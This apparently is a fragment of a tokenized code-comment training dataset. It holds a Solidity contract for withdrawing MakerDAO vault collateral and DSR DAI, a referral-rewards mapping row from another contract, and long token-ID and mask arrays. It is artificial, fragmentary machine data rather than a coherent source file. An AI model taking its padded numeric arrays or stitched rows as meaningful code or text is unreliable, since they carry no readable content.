-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.6.0;
interface TokenInterface {
function approve(address, uint) external;
function transfer(address, uint) external;
function transferFrom(address, address, uint) external;
function deposit() external payable;
function withdraw(uint) external;
function balanceOf(address) external view returns (uint);
}
interface ManagerLike {
function cdpCan(address, uint, address) external view returns (uint);
function ilks(uint) external view returns (bytes32);
function owns(uint) external view returns (address);
function give(uint, address) external;
function urns(uint) external view returns (address);
function vat() external view returns (address);
function frob(uint, int, int) external;
function flux(uint, address, uint) external;
}
interface VatLike {
function can(address, address) external view returns (uint);
function dai(address) external view returns (uint);
function hope(address) external;
function urns(bytes32, address) external view returns (uint, uint);
}
interface TokenJoinInterface {
function dec() external returns (uint);
function gem() external returns (TokenInterface);
function join(address, uint) external payable;
function exit(address, uint) external;
}
interface DaiJoinInterface {
function vat() external returns (VatLike);
function exit(address, uint) external;
}
interface PotLike {
function pie(address) external view returns (uint);
function drip() external returns (uint);
function exit(uint) external;
}
interface AccountInterface {
function isAuth(address _user) external view returns (bool);
}
interface InstaMapping {
function gemJoinMapping(bytes32) external view returns (address);
}
interface EventInterface {
function emitEvent(uint _connectorType, uint _connectorID, bytes32 _eventCode, bytes calldata _eventData) external;
}
contract DSMath {
uint256 constant RAY = 10 ** 27;
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, "math-not-safe");
}
function convertTo18(uint _dec, uint256 _amt) internal pure returns (uint256 amt) {
amt = mul(_amt, 10 ** (18 - _dec));
}
function toInt(uint x) internal pure returns (int y) {
y = int(x);
require(y >= 0, "int-overflow");
}
function convert18ToDec(uint _dec, uint256 _amt) internal pure returns (uint256 amt) {
amt = (_amt / 10 ** (18 - _dec));
}
}
contract Helpers is DSMath {
/**
* @dev Return ETH Address.
*/
function getAddressETH() internal pure returns (address) {
return 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
}
/**
* @dev Return WETH Address.
*/
function getAddressWETH() internal pure returns (address) {
return 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
}
/**
* @dev Return InstaEvent Address.
*/
function getEventAddr() internal pure returns (address) {
return 0x2af7ea6Cb911035f3eb1ED895Cb6692C39ecbA97;
}
/**
* @dev Connector Details
*/
function connectorID() public pure returns(uint _type, uint _id) {
(_type, _id) = (2, 2);
}
/**
* @dev Return InstaMapping Address.
*/
function getMappingAddr() internal pure returns (address) {
return 0xe81F70Cc7C0D46e12d70efc60607F16bbD617E88;
}
}
contract MakerMCDAddresses is Helpers {
/**
* @dev Return Maker MCD Manager Address.
*/
function getMcdManager() internal pure returns (address) {
return 0x5ef30b9986345249bc32d8928B7ee64DE9435E39;
}
/**
* @dev Return Maker MCD DAI_Join Address.
*/
function getMcdDaiJoin() internal pure returns (address) {
return 0x9759A6Ac90977b93B58547b4A71c78317f391A28;
}
/**
* @dev Return Maker MCD Pot Address.
*/
function getMcdPot() internal pure returns (address) {
return 0x197E90f9FAD81970bA7976f33CbD77088E5D7cf7;
}
}
contract MakerHelpers is MakerMCDAddresses {
/**
* @dev Get Vault's ilk.
*/
function getVaultData(ManagerLike managerContract, uint vault) internal view returns (bytes32 ilk, address urn) {
ilk = managerContract.ilks(vault);
urn = managerContract.urns(vault);
}
/**
* @dev Gem Join address is ETH type collateral.
*/
function isEth(address tknAddr) internal pure returns (bool) {
return tknAddr == getAddressWETH() ? true : false;
}
}
contract BasicResolver is MakerHelpers {
event LogWithdraw(uint256 indexed vault, bytes32 indexed ilk, uint256 tokenAmt);
/**
* @dev Withdraw ETH/ERC20_Token Collateral.
* @param vault Vault ID.
* @param amt token amount to withdraw.
*/
function withdraw(
uint vault,
uint amt
) external payable {
ManagerLike managerContract = ManagerLike(getMcdManager());
(bytes32 ilk, address urn) = getVaultData(managerContract, vault);
address colAddr = InstaMapping(getMappingAddr()).gemJoinMapping(ilk);
TokenJoinInterface tokenJoinContract = TokenJoinInterface(colAddr);
uint _amt = amt;
uint _amt18;
if (_amt == uint(-1)) {
(_amt18,) = VatLike(managerContract.vat()).urns(ilk, urn);
_amt = convert18ToDec(tokenJoinContract.dec(), _amt18);
} else {
_amt18 = convertTo18(tokenJoinContract.dec(), _amt);
}
managerContract.frob(
vault,
-toInt(_amt18),
0
);
managerContract.flux(
vault,
address(this),
_amt18
);
TokenInterface tokenContract = tokenJoinContract.gem();
if (isEth(address(tokenContract))) {
tokenJoinContract.exit(address(this), _amt);
tokenContract.withdraw(_amt);
} else {
tokenJoinContract.exit(address(this), _amt);
}
emit LogWithdraw(vault, ilk, _amt);
bytes32 _eventCode = keccak256("LogWithdraw(uint256,bytes32,uint256)");
bytes memory _eventParam = abi.encode(vault, ilk, _amt);
(uint _type, uint _id) = connectorID();
EventInterface(getEventAddr()).emitEvent(_type, _id, _eventCode, _eventParam);
}
}
contract DsrResolver is BasicResolver {
event LogWithdrawDai(uint256 tokenAmt);
/**
* @dev Withdraw DAI from DSR.
* @param amt DAI amount to withdraw.
*/
function withdrawDai(uint amt) external payable {
address daiJoin = getMcdDaiJoin();
DaiJoinInterface daiJoinContract = DaiJoinInterface(daiJoin);
VatLike vat = daiJoinContract.vat();
PotLike potContract = PotLike(getMcdPot());
uint chi = potContract.drip();
uint pie;
uint _amt = amt;
if (_amt == uint(-1)) {
pie = potContract.pie(address(this));
_amt = mul(chi, pie) / RAY;
} else {
pie = mul(_amt, RAY) / chi;
}
potContract.exit(pie);
uint bal = vat.dai(address(this));
if (vat.can(address(this), address(daiJoin)) == 0) {
vat.hope(daiJoin);
}
daiJoinContract.exit(
address(this),
bal >= mul(_amt, RAY) ? _amt : bal / RAY
);
emit LogWithdrawDai(_amt);
bytes32 _eventCode = keccak256("LogWithdrawDai(uint256)");
bytes memory _eventParam = abi.encode(_amt);
(uint _type, uint _id) = connectorID();
EventInterface(getEventAddr()).emitEvent(_type, _id, _eventCode, _eventParam);
}
}
contract StaticConnectMaker is DsrResolver {
string public constant name = "Static-MakerDao-v1";
}
|
* @dev Connector Details/
|
function connectorID() public pure returns(uint _type, uint _id) {
(_type, _id) = (2, 2);
}
| 552,237 |
[
1,
4625,
348,
7953,
560,
30,
380,
632,
5206,
15779,
21897,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
8703,
734,
1435,
1071,
16618,
1135,
12,
11890,
389,
723,
16,
2254,
389,
350,
13,
288,
203,
3639,
261,
67,
723,
16,
389,
350,
13,
273,
261,
22,
16,
576,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x4E1a4f750406FAdD5a2E534C33FE40E6d284784C/sources/contracts/Trade.sol
|
mapping of input user address (arg1) and then token address (arg2) to count ref rewards
|
mapping(address => mapping(address => uint256)) public addressRefRewards;
| 3,126,294 |
[
1,
4625,
348,
7953,
560,
30,
2874,
434,
810,
729,
1758,
261,
3175,
21,
13,
471,
1508,
1147,
1758,
261,
3175,
22,
13,
358,
1056,
1278,
283,
6397,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
2874,
12,
2867,
516,
2874,
12,
2867,
516,
2254,
5034,
3719,
1071,
1758,
1957,
17631,
14727,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
